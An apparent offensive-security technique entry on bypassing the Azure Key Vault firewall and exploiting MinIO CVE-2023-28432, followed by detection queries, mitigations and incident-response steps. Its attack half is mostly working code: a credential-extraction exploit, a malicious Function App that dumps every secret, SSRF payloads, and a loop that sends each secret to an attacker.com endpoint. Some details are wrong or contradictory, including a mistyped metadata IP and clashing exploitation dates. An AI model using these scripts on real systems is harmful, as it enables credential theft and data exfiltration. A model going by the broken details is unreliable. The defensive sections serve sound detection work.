| Property | Value |
|---|---|
| SERVTEP ID | CA-UNSC-021 |
| Technique Title | Azure Key Vault Firewall Bypass via Trusted Services and Cloud Storage Misconfigurations |
| MITRE ATT&CK ID | T1552.007 - Unsecured Credentials: Container API |
| CVE Reference | CVE-2023-28432 (MinIO Information Disclosure in Cluster Deployments) |
| Platforms | Azure (Entra ID, Key Vault), MinIO Clusters, Cloud Storage (AWS S3, Azure Blob) |
| Required Access Level | Network Access / Compromised Azure Service Account |
| Attack Category | Credential Access (TA0006) |
| Technique Viability | ACTIVE - Widely exploited; CVE-2023-28432 in CISA KEV (Known Exploited Vulnerabilities) |
| Kill Chain Phase | Reconnaissance → Resource Development → Initial Access → Credential Access |
| CVE Disclosure Date | March 20, 2023 |
| First Exploitation Evidence | March 12, 2024 (Metasploit module published) |
| Related Techniques | T1040.001 (Traffic Sniffing), T1526 (Cloud Service Discovery), T1087 (Account Discovery), T1580 (Cloud Infrastructure Discovery) |
| Author | SERVTEP – Artur Pchelnikau |
CA-UNSC-021 describes the exploitation of Azure Key Vault firewall misconfigurations and CVE-2023-28432 (MinIO cluster information disclosure) to bypass access controls and extract sensitive credentials stored in restricted cloud repositories. The attack leverages two primary attack vectors: (1) the “Trusted Microsoft Services” bypass feature in Key Vault firewalls, which can be abused when a trusted service is compromised, and (2) CVE-2023-28432, a critical vulnerability in MinIO clusters that exposes all environment variables including storage credentials and secrets.
Impact Severity: CRITICAL
Threat Actor Profile:
# Connect to Azure
Connect-AzAccount
# List all Key Vaults
Get-AzKeyVault | Select-Object VaultName, ResourceGroupName, Location
# Get detailed configuration for each Key Vault
$keyVaults = Get-AzKeyVault
foreach ($kv in $keyVaults) {
$kvDetails = Get-AzKeyVault -VaultName $kv.VaultName -ResourceGroupName $kv.ResourceGroupName
Write-Host "Key Vault: $($kv.VaultName)"
Write-Host "Firewall Enabled: $(if ($kvDetails.NetworkAcls) { 'Yes' } else { 'No' })"
Write-Host "Default Action: $($kvDetails.NetworkAcls.DefaultAction)"
Write-Host "Bypass Setting: $($kvDetails.NetworkAcls.Bypass)"
Write-Host "IP Rules: $($kvDetails.NetworkAcls.IpAddressRanges.Count)"
Write-Host "VNet Rules: $($kvDetails.NetworkAcls.VirtualNetworkRules.Count)"
Write-Host "---"
}
# Check if trusted services can bypass firewall
$kvName = "mykeyvault"
$rg = "myresourcegroup"
$kv = Get-AzKeyVault -VaultName $kvName -ResourceGroupName $rg
$bypassSettings = $kv.NetworkAcls.Bypass
Write-Host "Bypass Configuration: $bypassSettings"
# "AzureServices" = Trusted services can bypass
# "None" = Firewall blocking all except whitelisted
# "VirtualNetworkServiceEndpoint,AzureServices" = Both VNet and trusted services allowed
# List all Function Apps (trusted by default)
Get-AzFunctionApp | Select-Object Name, ResourceGroupName, FunctionAppConfig.Runtime
# List all App Services (trusted by default)
Get-AzWebApp | Select-Object Name, ResourceGroupName, AppServicePlanId
# List all Logic Apps (trusted by default)
Get-AzLogicApp | Select-Object Name, ResourceGroupName, Location
# List all Azure SQL Servers (trusted by default)
Get-AzSqlServer | Select-Object ServerName, ResourceGroupName
# Scan for MinIO API endpoint (default port 9000)
nmap -p 9000,9001 target-subnet/ -Pn
# Identify MinIO via HTTP banner grabbing
curl -I http://target:9000/minio/bootstrap/v1/status
# Expected response indicates MinIO cluster
# Status: 200 OK + MinIO headers confirm presence
# Check MinIO health endpoint (no auth required on some versions)
curl http://target:9000/minio/bootstrap/v1/health
# Attempt to verify MinIO cluster (vulnerable endpoint)
curl http://target:9000/minio/bootstrap/v1/verify
# If vulnerable, response includes environment variables:
# {
# "MINIO_ROOT_USER": "minioadmin",
# "MINIO_ROOT_PASSWORD": "minioadmin123",
# "MINIO_SECRET_KEY": "...",
# "AWS_SECRET_ACCESS_KEY": "...",
# ...
# }
# Query MinIO version via S3-compatible API
curl -s http://target:9000/?version | grep -oP 'Version>.*?</Version'
# Alternative: Check Docker image if accessible
docker inspect minio:latest | grep -i "Version\|MINIO"
# Check MinIO release notes or GitHub for version date
# Vulnerable versions: 2019-12-17 through 2023-03-20 (before RELEASE.2023-03-20T20-16-18Z)
# Enumerate web applications and identify SSRF-prone services
$webApps = Get-AzWebApp
foreach ($app in $webApps) {
# Check app service plan and potential for SSRF
$config = Get-AzWebAppConfig -ResourceGroupName $app.ResourceGroupName -Name $app.Name
# Applications handling file uploads or URL processing are high-risk
Write-Host "App: $($app.Name)"
Write-Host "HTTPS Only: $($config.HttpsOnly)"
Write-Host "Managed Identity: $(if ($app.Identity) { 'Enabled' } else { 'Disabled' })"
}
# Function Apps are particularly dangerous for SSRF
# They can make outbound HTTP requests and handle external input
Get-AzFunctionAppSetting -ResourceGroupName "rg" -FunctionAppName "myapp" |
Where-Object { $_.Name -like "*URL*" -or $_.Name -like "*ENDPOINT*" }
# Check if running in container environment
env | grep -i "container\|docker\|kubernetes"
# Test Docker socket access (if running in container)
curl -v --unix-socket /var/run/docker.sock http://localhost/v1.40/containers/json
# Test Kubernetes API access (if running in K8s cluster)
curl https://kubernetes.default.svc/api/v1/namespaces | \
jq '.items[] | .metadata.name'
# Retrieve Kubernetes service account credentials
cat /var/run/secrets/kubernetes.io/serviceaccount/token
Attack Prerequisites:
Option A: Deploy Malicious Function App (If you have deployment access)
# Create a malicious Azure Function to extract Key Vault secrets
# Function code in C#:
public static async Task<IActionResult> Run(
[HttpTrigger(AuthorizationLevel.Anonymous, "get", Route = null)]
HttpRequest req,
ILogger log)
{
var kvUri = "https://mykeyvault.vault.azure.net";
var credential = new DefaultAzureCredential();
var client = new SecretClient(new Uri(kvUri), credential);
try
{
// Retrieve all secrets from Key Vault
var secretProperties = client.GetPropertiesOfSecretsAsync();
var results = new List<string>();
await foreach (var secretProperty in secretProperties)
{
var secret = await client.GetSecretAsync(secretProperty.Name);
results.Add($"{secretProperty.Name}: {secret.Value.Value}");
}
return new OkObjectResult(results);
}
catch (Exception ex)
{
log.LogError($"Error: {ex.Message}");
return new BadRequestObjectResult(ex.Message);
}
}
# Deploy function with Managed Identity that has Key Vault access
Option B: Exploit Existing SSRF in Web Application
import requests
import json
# Target a web application running in Azure (trusted service)
# that has SSRF vulnerability in image processing or file download
ssrf_target = "https://vulnerable-app.azurewebsites.net/image?url="
keyvault_url = "https://mykeyvault.vault.azure.net/secrets/mysecret?api-version=7.3"
# The vulnerable app will fetch the URL server-side
# Azure's managed identity is attached to the app
# Firewall allows requests from this app
payload = ssrf_target + keyvault_url
response = requests.get(payload)
print(f"Response: {response.text}")
# Result: Key Vault responds because request originates from trusted service
# Even though firewall is enabled, trusted services bypass it
# Once inside the compromised Azure service, use Managed Identity
# Option 1: In Function App / App Service code
using Azure.Identity;
using Azure.Security.KeyVault.Secrets;
var kvUri = new Uri("https://mykeyvault.vault.azure.net");
var credential = new DefaultAzureCredential(); // Uses Managed Identity
var client = new SecretClient(kvUri, credential);
SecretProperties secret = await client.GetSecretAsync("mySecret");
string secretValue = secret.Value;
# Option 2: Via REST API with bearer token
$token = (Invoke-RestMethod -Uri "http://169.169.169.169/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://vault.azure.net" `
-Headers @{"Metadata"="true"}).access_token
$headers = @{"Authorization"="Bearer $token"}
$response = Invoke-RestMethod -Uri "https://mykeyvault.vault.azure.net/secrets/mysecret?api-version=7.3" `
-Headers $headers
Write-Host "Secret Value: $($response.value)"
# Connect using stolen/acquired Managed Identity token
# Iterate through all secrets and export them
$kvUri = "https://targetkeyvault.vault.azure.net"
# Get all secret names
$secretsList = Invoke-RestMethod -Uri "$kvUri/secrets?api-version=7.3" `
-Headers @{"Authorization"="Bearer $token"}
foreach ($secret in $secretsList.value) {
$secretName = $secret.id.Split('/')[-1]
# Retrieve each secret
$secretValue = Invoke-RestMethod -Uri "$kvUri/secrets/$secretName?api-version=7.3" `
-Headers @{"Authorization"="Bearer $token"}
Write-Host "$secretName : $($secretValue.value)"
# Exfiltrate to attacker-controlled endpoint
Invoke-WebRequest -Uri "https://attacker.com/exfil" `
-Method POST `
-Body @{secret_name=$secretName; secret_value=$secretValue.value}
}
Attack Prerequisites:
# Scan for MinIO endpoints
for ip in 10.0.0.{1..254}; do
timeout 1 curl -s http://$ip:9000/minio/bootstrap/v1/verify -o /dev/null && echo "MinIO found at $ip"
done
# Verify vulnerability by checking endpoint
curl -v http://target:9000/minio/bootstrap/v1/verify
# The vulnerable /minio/bootstrap/v1/verify endpoint returns environment variables
curl -s http://target:9000/minio/bootstrap/v1/verify | jq '.'
# Expected response (if vulnerable):
# {
# "name": "minio",
# "version": "2023-02-27T18-42-03Z",
# "commit": "...",
# "squid": "...",
# "MINIO_ROOT_USER": "minioadmin",
# "MINIO_ROOT_PASSWORD": "SecurePassword123!",
# "MINIO_SECRET_KEY": "full-secret-key-here",
# "AWS_ACCESS_KEY_ID": "AKIA...",
# "AWS_SECRET_ACCESS_KEY": "...",
# "AZURE_STORAGE_ACCOUNT": "storageaccount",
# "AZURE_STORAGE_KEY": "...",
# "MINIO_IDENTITY_LDAP_SERVER_ADDR": "ldap.contoso.com",
# ...
# }
#!/usr/bin/env python3
import requests
import json
import sys
def exploit_cve_2023_28432(target_url):
"""
Exploit CVE-2023-28432 to extract MinIO cluster credentials
"""
endpoint = f"http://{target_url}:9000/minio/bootstrap/v1/verify"
try:
response = requests.get(endpoint, timeout=10)
if response.status_code == 200:
data = response.json()
# Extract sensitive information
credentials = {
'minio_root_user': data.get('MINIO_ROOT_USER'),
'minio_root_password': data.get('MINIO_ROOT_PASSWORD'),
'minio_secret_key': data.get('MINIO_SECRET_KEY'),
'aws_access_key': data.get('AWS_ACCESS_KEY_ID'),
'aws_secret_key': data.get('AWS_SECRET_ACCESS_KEY'),
'azure_storage_account': data.get('AZURE_STORAGE_ACCOUNT'),
'azure_storage_key': data.get('AZURE_STORAGE_KEY'),
'all_env_vars': data
}
return credentials
else:
print(f"[!] Request failed: {response.status_code}")
return None
except Exception as e:
print(f"[!] Error: {e}")
return None
def access_minio_with_credentials(minio_host, root_user, root_password):
"""
Use extracted MinIO credentials to access the cluster
"""
from minio import Minio
client = Minio(
f"{minio_host}:9000",
access_key=root_user,
secret_key=root_password,
secure=False
)
# List all buckets
buckets = client.list_buckets()
print("[+] MinIO Buckets:")
for bucket in buckets.buckets:
print(f" - {bucket.name}")
# List all objects in a bucket
for bucket in buckets.buckets:
print(f"\n[+] Contents of {bucket.name}:")
objects = client.list_objects(bucket.name, recursive=True)
for obj in objects:
print(f" - {obj.object_name}")
# Download sensitive files
if any(ext in obj.object_name for ext in ['.json', '.yaml', '.conf', '.key', '.pem']):
try:
client.fget_object(bucket.name, obj.object_name, f"/tmp/{obj.object_name}")
print(f" [Downloaded] {obj.object_name}")
except:
pass
if __name__ == "__main__":
target = sys.argv[1] if len(sys.argv) > 1 else "target.internal"
print(f"[*] Exploiting CVE-2023-28432 on {target}")
creds = exploit_cve_2023_28432(target)
if creds:
print("\n[+] Extracted Credentials:")
print(json.dumps(creds, indent=2))
# Use MinIO credentials
print("\n[*] Accessing MinIO with extracted credentials...")
access_minio_with_credentials(
target,
creds['minio_root_user'],
creds['minio_root_password']
)
# Use extracted AWS credentials to access S3 buckets
export AWS_ACCESS_KEY_ID=$(extracted_key_id)
export AWS_SECRET_ACCESS_KEY=$(extracted_secret_key)
aws s3 ls
# List sensitive buckets
aws s3 ls s3://production-backups/
# Download data
aws s3 sync s3://production-backups/ ./local-copy/
# Similar for Azure Storage
az storage account list --account-name $(extracted_account)
az storage container list --account-name $(extracted_account) \
--account-key $(extracted_key)
Attack Prerequisites:
# List all private endpoints in subscription
Get-AzPrivateEndpoint | Where-Object { $_.Name -like "*keyvault*" }
# Get detailed private endpoint configuration
$pe = Get-AzPrivateEndpoint -ResourceGroupName "rg" -Name "kvprivateendpoint"
$pe | Select-Object Name, PrivateLinkServiceConnections
# Retrieve private IP address
$nic = Get-AzNetworkInterface -ResourceId $pe.NetworkInterfaces[0].Id
$nic.IpConfigurations[0].PrivateIpAddress
# Example output: 10.1.2.5 (private IP for Key Vault)
# From a VM inside the VNet:
$privateIP = "10.1.2.5" # Private endpoint IP
# Direct access via private IP (resolves via private DNS zone)
$token = (Invoke-RestMethod -Uri "http://169.169.169.169/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://vault.azure.net" `
-Headers @{"Metadata"="true"}).access_token
# Query Key Vault via private endpoint (no firewall rules apply)
Invoke-RestMethod -Uri "https://mykeyvault.vault.azure.net/secrets/mysecret?api-version=7.3" `
-Headers @{"Authorization"="Bearer $token"}
Attack Prerequisites:
# If target app has SSRF and passes headers to backend:
import requests
ssrf_target = "http://vulnerable-app.azurewebsites.net/fetch"
# Craft payload with spoofed service tags
payload = {
'url': 'https://mykeyvault.vault.azure.net/secrets/mysecret?api-version=7.3',
'headers': {
'X-Original-URL': 'https://mykeyvault.vault.azure.net/secrets/mysecret',
'X-Forwarded-For': '20.61.103.227', # Azure service IP
'X-Azure-Service': 'AppService' # Service tag spoofing
}
}
response = requests.post(ssrf_target, json=payload)
print(response.text)
| Tool | Purpose | Command | Platform |
|---|---|---|---|
| curl | CVE-2023-28432 POC exploitation | curl http://target:9000/minio/bootstrap/v1/verify |
Cross-platform |
| Python Boto3 | AWS credential usage via extracted keys | boto3.client('s3', aws_access_key_id=..., aws_secret_access_key=...) |
Cross-platform |
| Python MinIO SDK | MinIO cluster access with stolen credentials | from minio import Minio |
Python |
| Azure CLI | Key Vault enumeration & access | az keyvault secret list --vault-name mykeyvault |
Cross-platform |
| Azure PowerShell | Trusted services discovery | Get-AzKeyVault, Get-AzFunctionApp |
Windows |
| Azure SDK (.NET) | Programmatic Key Vault access | new SecretClient(new Uri(kvUri), credential) |
.NET |
| Metasploit | Automated CVE-2023-28432 exploitation | use auxiliary/gather/minio_bootstrap_verify_info_disc |
Linux |
| YARA | Detect MinIO exploitation attempts | Custom rules for /minio/bootstrap/v1/verify | Linux |
| nmap | Network reconnaissance for MinIO | nmap -p 9000 target-subnet/24 |
Cross-platform |
| az storage | Azure Storage account access | az storage blob download --account-name ... --container-name ... |
Cross-platform |
Platforms: Linux, macOS, Windows (with curl/Python)
#!/bin/bash
# Atomic test for CVE-2023-28432
TARGET="${1:-localhost:9000}"
echo "[*] Testing CVE-2023-28432 on $TARGET"
# Test 1: Check if /minio/bootstrap/v1/verify endpoint exists
echo "[*] Checking MinIO bootstrap endpoint..."
RESPONSE=$(curl -s -o /dev/null -w "%{http_code}" http://$TARGET/minio/bootstrap/v1/verify)
if [ "$RESPONSE" = "200" ]; then
echo "[+] Vulnerable endpoint found (HTTP 200)"
# Test 2: Extract environment variables
echo "[*] Extracting environment variables..."
curl -s http://$TARGET/minio/bootstrap/v1/verify | jq '.MINIO_ROOT_PASSWORD, .AWS_ACCESS_KEY_ID, .AZURE_STORAGE_KEY'
echo "[+] Credentials potentially exposed!"
else
echo "[-] Endpoint not vulnerable or not MinIO ($RESPONSE)"
fi
Expected Artifacts:
Platforms: Windows (PowerShell with Az module)
# Atomic test for Key Vault trusted services bypass
function Test-KeyVaultTrustedServicesAccess {
param(
[string]$KeyVaultName,
[string]$ResourceGroupName,
[string]$FunctionAppName
)
# Get Key Vault configuration
$kv = Get-AzKeyVault -VaultName $KeyVaultName -ResourceGroupName $ResourceGroupName
if ($kv.NetworkAcls.DefaultAction -eq "Deny" -and $kv.NetworkAcls.Bypass -eq "AzureServices") {
Write-Host "[!] Key Vault has firewall enabled with AzureServices bypass"
Write-Host "[!] Risk: Compromised Function App can access this Key Vault"
# Check if Function App has Managed Identity
$app = Get-AzFunctionApp -ResourceGroupName $ResourceGroupName -Name $FunctionAppName
if ($app.Identity) {
Write-Host "[+] Function App has Managed Identity: $($app.Identity.PrincipalId)"
Write-Host "[+] This identity can bypass Key Vault firewall!"
}
return $true
} else {
Write-Host "[-] Key Vault firewall not vulnerable to trusted services bypass"
return $false
}
}
# Usage
Test-KeyVaultTrustedServicesAccess -KeyVaultName "mykeyvault" `
-ResourceGroupName "myresourcegroup" `
-FunctionAppName "myfunctionapp"
Platforms: Linux, PowerShell
# Discover and enumerate private endpoints
Get-AzPrivateEndpoint | ForEach-Object {
Write-Host "Private Endpoint: $($_.Name)"
Write-Host "Resource: $($_.PrivateLinkServiceConnections.PrivateLinkServiceId)"
Write-Host "VNet: $($_.SubnetId.Split('/')[8])"
Write-Host "Subnet: $($_.SubnetId.Split('/')[-1])"
Write-Host "---"
}
# Attempt connection from within VNet
# (Requires VM in same VNet)
Invoke-RestMethod -Uri "https://mykeyvault.vault.azure.net/secrets/mysecret?api-version=7.3" `
-Headers @{"Authorization"="Bearer $(Get-AzAccessToken -ResourceUrl https://vault.azure.net | Select-Object -ExpandProperty Token)"}
Data Source: Network Traffic / WAF Logs
source="network_traffic" OR source="waf_logs"
(url CONTAINS "/minio/bootstrap/v1/verify" OR path CONTAINS "/minio/bootstrap/v1/verify")
| stats count by src_ip, dest_ip, user_agent
| where count > 0
False Positives:
Tuning:
url CONTAINS "/minio/bootstrap/v1/verify"
| where NOT (src_ip IN ("10.0.0.0/8", "monitoring_system"))
| alert
Data Source: Azure Activity Logs, Azure Audit Logs
source="azure_activity" action="*KeyVault*"
(action="SecretRead" OR action="SecretList" OR action="CertificateRead")
| search caller!="SYSTEM" AND caller!="*service_principal*"
| stats count, values(caller), values(caller_ip_address) by resource_name
| where count > 5 OR (caller_ip_address NOT IN ("office_ips", "authorized_ips"))
Data Source: Azure Diagnostic Logs for Key Vault
source="azure_keyvault"
(clientIP CONTAINS "20.6" OR clientIP CONTAINS "20.1") // Azure Service IPs
authorization="Allow"
(operation="SecretGet" OR operation="SecretList" OR operation="CertificateGet")
| stats count by clientIP, requesterObjectId, resource
| where count > 10
Data Source: Network Traffic / IDS Logs
(source="zeek" OR source="suricata")
http.uri CONTAINS "/minio/bootstrap/v1/verify"
http.status=200
| search http.resp_body CONTAINS ("MINIO_ROOT_PASSWORD" OR "AWS_SECRET_ACCESS_KEY" OR "AZURE_STORAGE_KEY")
| alert severity=critical
Rule Configuration:
KQL Query:
CommonSecurityLog
| where DestinationPort == 9000 and RequestPath contains "/minio/bootstrap/v1/verify"
| extend IsMinIOExploit = iff(RequestPath contains "verify", 1, 0)
| where IsMinIOExploit == 1
| summarize ExploitAttempts=count() by SourceIP, DestinationIP, TimeGenerated
| where ExploitAttempts > 0
Rule Configuration:
KQL Query:
KeyVaultAuditLogs
| where OperationName in ("SecretGet", "SecretList", "CertificateGet")
| where CallerIPAddress startswith "20.6" or CallerIPAddress startswith "20.1" // Azure service IPs
| where ResultSignature == "Success"
| extend IsAnomalous = iff(
TimeGenerated < ago(7d) and
(ResultSignature == "Success" and OperationName in ("SecretGet", "SecretList")),
1, 0)
| where IsAnomalous == 1
| project TimeGenerated, OperationName, CallerIPAddress, ResourceName, RequestID
Rule Configuration:
KQL Query:
AzureActivity
| where ResourceProvider == "Microsoft.KeyVault"
| where OperationNameValue in (
"Microsoft.KeyVault/vaults/networkAcls/write",
"MICROSOFT.KEYVAULT/VAULTS/UPDATE",
"Update Key Vault Firewall"
)
| where ActivityStatusValue == "Succeeded"
| project TimeGenerated, Caller, OperationNameValue, Resource
| summarize count() by Caller, OperationNameValue
| where count_ > 1
Rule Configuration:
KQL Query:
CommonSecurityLog
| where DestinationPort in (443, 9000)
| where DestinationIP in (
"10.1.2.5", // Known private endpoint IPs
"10.1.2.6"
)
| where SourceIP not in (
"10.0.0.0/8", // Expected VNet ranges
"192.168.0.0/16"
)
| summarize Connections=count() by SourceIP, DestinationIP, DestinationPort
| where Connections > 3
Event ID: Security Event 4673 (Service Account Access)
Manual Configuration:
# Enable audit policy for service account usage
auditpol /set /subcategory:"Service Account" /success:enable /failure:enable
# Monitor for metadata service access
Get-WinEvent -LogName Security -FilterHashtable @{EventID=4673} |
Where-Object {$_.Message -match "metadata|169.254"}
Event ID: Application logs (via Azure Diagnostics)
Minimum Sysmon Version: 13.0+ Supported Platforms: Windows (in containerized/cloud environments)
Sysmon Configuration Snippet:
<Sysmon schemaversion="4.30">
<EventFiltering>
<!-- Detect curl/wget accessing MinIO endpoints -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains any">
/minio/bootstrap/v1/verify;
/minio/bootstrap/v1/health;
169.254.169.254 <!-- Metadata service -->
</CommandLine>
</ProcessCreate>
<!-- Detect Python/Node accessing metadata service -->
<NetworkConnect onmatch="include">
<DestinationIp>169.254.169.254</DestinationIp>
<DestinationPort>80</DestinationPort>
<Image condition="excludes">
C:\Program Files\*\Azure\*;
C:\Program Files (x86)\Microsoft\*
</Image>
</NetworkConnect>
<!-- Detect environment variable access -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains any">
$env:;
echo $;
printenv
</CommandLine>
</ProcessCreate>
<!-- Detect cloud SDK tool usage -->
<ProcessCreate onmatch="include">
<Image condition="contains any">
aws.exe;
az.exe;
gcloud.exe
</Image>
<CommandLine condition="contains any">
s3 ls;
storage blob;
gsutil
</CommandLine>
</ProcessCreate>
</EventFiltering>
</Sysmon>
Alert Name: “Suspicious access to Key Vault detected”
Manual Configuration Steps:
Alert Name: “Vulnerable MinIO version detected”
# Connect to Purview
Connect-ExchangeOnline
# Search for Key Vault access operations
Search-UnifiedAuditLog -Operations "AzureKeyVaultSecretRetrieval", "AzureKeyVaultKeyRetrieval", "AzureKeyVaultCertificateRetrieval" `
-StartDate (Get-Date).AddDays(-30) `
-EndDate (Get-Date) |
Select-Object TimeStamp, UserIds, Operations, AuditData
# Parse results
Search-UnifiedAuditLog -Operations "*KeyVault*" -StartDate (Get-Date).AddDays(-7) |
ForEach-Object {
$auditData = $_.AuditData | ConvertFrom-Json
[PSCustomObject]@{
TimeStamp = $auditData.CreationTime
Operation = $auditData.Operation
User = $auditData.UserId
Resource = $auditData.ObjectId
Status = $auditData.ResultStatus
}
}
Objective: Prevent compromised Azure services from accessing Key Vault via firewall bypass
Applies To: Azure Key Vault 2016+
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Disable trusted services bypass
Update-AzKeyVaultNetworkRuleSet -VaultName "mykeyvault" `
-ResourceGroupName "myresourcegroup" `
-Bypass None
# Verify
(Get-AzKeyVault -VaultName "mykeyvault").NetworkAcls.Bypass
# Should return: None
Manual Steps (Azure CLI):
# Disable trusted services bypass
az keyvault update --resource-group myresourcegroup \
--name mykeyvault \
--bypass None
# If services need access, use private endpoints instead
Objective: Patch CVE-2023-28432 vulnerability
Applies To: MinIO clusters (all versions before RELEASE.2023-03-20T20-16-18Z)
Manual Steps:
# Check current version
docker exec minio-container minio --version
# Upgrade via Docker Compose
docker-compose down
docker pull minio/minio:RELEASE.2023-03-20T20-16-18Z
# Update docker-compose.yml with new version tag
docker-compose up -d
# Upgrade binary (standalone)
cd /opt/minio
sudo systemctl stop minio
sudo wget https://dl.min.io/server/minio/release/linux-amd64/minio
sudo chmod +x minio
sudo systemctl start minio
# Verify upgrade
curl http://localhost:9000/minio/bootstrap/v1/verify
# Should return 403 or empty response (patched)
Objective: Restrict network access to MinIO API endpoint
Applies To: MinIO clusters in cloud environments
Manual Steps (Network Security Group / Firewall):
# Azure NSG
az network nsg rule create --resource-group myresourcegroup \
--nsg-name minio-nsg \
--name "AllowMinIOFromAuthenticatedVNet" \
--priority 100 \
--source-address-prefixes VirtualNetwork \
--source-port-ranges '*' \
--destination-address-prefixes '*' \
--destination-port-ranges 9000 9001 \
--access Allow \
--protocol Tcp
# Deny all other traffic to MinIO
az network nsg rule create --resource-group myresourcegroup \
--nsg-name minio-nsg \
--name "DenyMinIOFromInternet" \
--priority 200 \
--source-address-prefixes Internet \
--destination-port-ranges 9000 9001 \
--access Deny \
--protocol Tcp
Objective: Remove public internet access, enforce VNet-only access
Applies To: Azure Key Vault 2016+
Manual Steps (Azure Portal):
kv-private-endpointvaultManual Steps (PowerShell):
# Create private endpoint for Key Vault
$vnet = Get-AzVirtualNetwork -ResourceGroupName "myresourcegroup" -Name "myvnet"
$subnet = Get-AzVirtualNetworkSubnetConfig -Name "privatesubnet" -VirtualNetwork $vnet
$kv = Get-AzKeyVault -VaultName "mykeyvault" -ResourceGroupName "myresourcegroup"
New-AzPrivateEndpointConnection -ResourceGroupName "myresourcegroup" `
-Name "kv-private-endpoint" `
-PrivateLinkServiceId $kv.ResourceId `
-SubnetId $subnet.Id `
-VirtualNetworkId $vnet.Id
Objective: Enforce strict network boundaries with NSP rules
Applies To: Azure services within a perimeter
Manual Steps:
# Create Network Security Perimeter
New-AzNetworkSecurityPerimeter -Name "kvperimeter" `
-ResourceGroupName "myresourcegroup" `
-Location "eastus"
# Associate Key Vault with NSP
# Add explicit access rules for allowed sources only
Objective: Detect suspicious access patterns
Applies To: All Key Vault instances
Manual Steps (Azure Portal):
kv-audit-logsAuditEvent (check all)Manual Steps (PowerShell):
$kv = Get-AzKeyVault -VaultName "mykeyvault" -ResourceGroupName "myresourcegroup"
$workspace = Get-AzOperationalInsightsWorkspace -ResourceGroupName "myresourcegroup" -Name "myworkspace"
Set-AzDiagnosticSetting -ResourceId $kv.ResourceId `
-WorkspaceId $workspace.ResourceId `
-Enabled $true `
-Category AuditEvent
Objective: Block internet access, enforce VPN-only access
Applies To: MinIO clusters
Manual Steps:
# Configure MinIO with TLS and authentication
minio server --certs-dir /etc/minio/certs \
http://minio-{1...4}:9000/minio-data-{1...4}
# Use API gateway with IP whitelisting
# Example: Nginx reverse proxy with auth
Objective: Restrict Key Vault access to specific managed identities
Applies To: Azure Function Apps, App Services with Managed Identity
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
$functionApp = Get-AzFunctionApp -ResourceGroupName "myresourcegroup" -Name "myapp"
$principalId = $functionApp.Identity.PrincipalId
Set-AzKeyVaultAccessPolicy -VaultName "mykeyvault" `
-ObjectId $principalId `
-PermissionsToSecrets Get `
-PermissionsToKeys Get, Decrypt `
-BypassObjectIdValidation
Objective: Enforce least privilege access to Key Vault operations
Applies To: All Key Vault instances
Manual Steps:
# Create custom RBAC role for Key Vault readers
$role = Get-AzRoleDefinition -Name "Key Vault Secrets Officer"
# Assign to specific principals
New-AzRoleAssignment -ObjectId $principalId `
-RoleDefinitionName "Key Vault Secrets Officer" `
-Scope $kv.ResourceId `
-Condition "@Resource[Microsoft.KeyVault/vaults/keys/attributes/expires] -lt @Now" `
-ConditionVersion "2.0"
Objective: Limit impact of credential exposure
Applies To: MinIO cluster deployments
Manual Steps:
# Rotate MINIO_ROOT_USER and MINIO_ROOT_PASSWORD
# 1. Create new admin user
mc admin user add <alias> newadmin newpassword
# 2. Grant admin permissions
mc admin policy attach <alias> consoleAdmin --user=newadmin
# 3. Remove old admin
mc admin user disable <alias> oldadmin
# 4. Update environment variables and restart cluster
Objective: Detect unauthorized firewall bypass attempts
Applies To: All Key Vault instances
Manual Steps:
# Create alert rule for firewall changes
$alert = New-AzMetricAlertRuleV2 -Name "KeyVaultFirewallChange" `
-ResourceGroupName "myresourcegroup" `
-ResourceType "Microsoft.KeyVault/vaults" `
-MetricName "FirewallConfigurationChanged" `
-Operator "GreaterThan" `
-Threshold 0 `
-Frequency "PT5M"
┌──────────────────────────────────────────────┐
│ Credential Access Threat Detection Flow │
└──────────────────────────────────────────────┘
│
┌─────┴─────┐
▼ ▼
CVE-2023-28432 Key Vault Bypass
(MinIO) (Trusted Services)
│ │
├─ Network ├─ Azure Activity
│ to │ Logs
│ 9000 │
│ ├─ Auth Failures
├─ HTTP │
│ Request └─ Unusual Access
│ Analysis Pattern
│
└─────┬─────┘
│
ALERT: Critical
Credentials Exposed
Initial Detection (0-15 minutes):
# Disable MinIO cluster access
# Block outbound traffic from MinIO host
# Revoke all MinIO credentials
mc admin user disable <alias> minioadmin
mc admin user disable <alias> (all_users)
# Check MinIO access logs for exploitation evidence
docker logs minio-container | grep "bootstrap/v1/verify"
# Identify what credentials were exposed
docker inspect minio-container | grep "MINIO_\|AWS_\|AZURE_"
Investigation Phase (15-120 minutes):
# For each exposed credential, determine:
# - What resources can be accessed?
# - What permissions does the credential have?
# - When was it last rotated?
# AWS credentials example:
aws sts get-caller-identity
aws iam list-user-policies --user-name extracted_user
# Preserve logs
docker logs minio-container > /evidence/minio-logs.txt
# Capture network traffic
tcpdump -i any -n "port 9000" > /evidence/traffic.pcap
# Document environment variables
docker inspect minio-container > /evidence/container-config.json
Eradication Phase (2-6 hours):
# Rotate all exposed credentials
# MinIO
mc admin user add <alias> newadmin newpassword
# AWS
aws iam update-access-key --access-key-id AKIAIOSFODNN7EXAMPLE --status Inactive
# Azure
az keyvault secret set --vault-name mykeyvault --name mysecret --value newsecretvalue
# Upgrade to patched version
docker pull minio/minio:RELEASE.2023-03-20T20-16-18Z
docker-compose up -d
Verification Phase (6-24 hours):
Dependency: Reconnaissance of Azure services → CA-UNSC-021 (credential theft)
Link: Attackers enumerate available services (Function Apps, App Services) to identify trusted services that can bypass Key Vault firewall
Dependency: Enumerate cloud resources → Target high-value resources storing secrets
Link: Discovery of MinIO clusters, Key Vaults, storage accounts to prioritize attacks
Dependency: SSRF → redirect traffic to internal resources
Link: SSRF in web app allows traffic sniffing of Key Vault requests, exposing endpoints and patterns
Dependency: Extract credentials → Enumerate available accounts and permissions
Link: Once credentials extracted, attacker enumerates AWS/Azure accounts to maximize impact
Incident Summary: In March 2023, researchers discovered active exploitation of CVE-2023-28432 targeting MinIO clusters hosting Kubernetes backups, database backups, and machine learning model artifacts. Threat actors were systematically scanning for vulnerable MinIO instances and extracting AWS credentials stored in environment variables.
Attack Steps:
Impact:
Detection Failures:
Mitigation Applied:
Reference: CISA CVE-2023-28432 Advisory
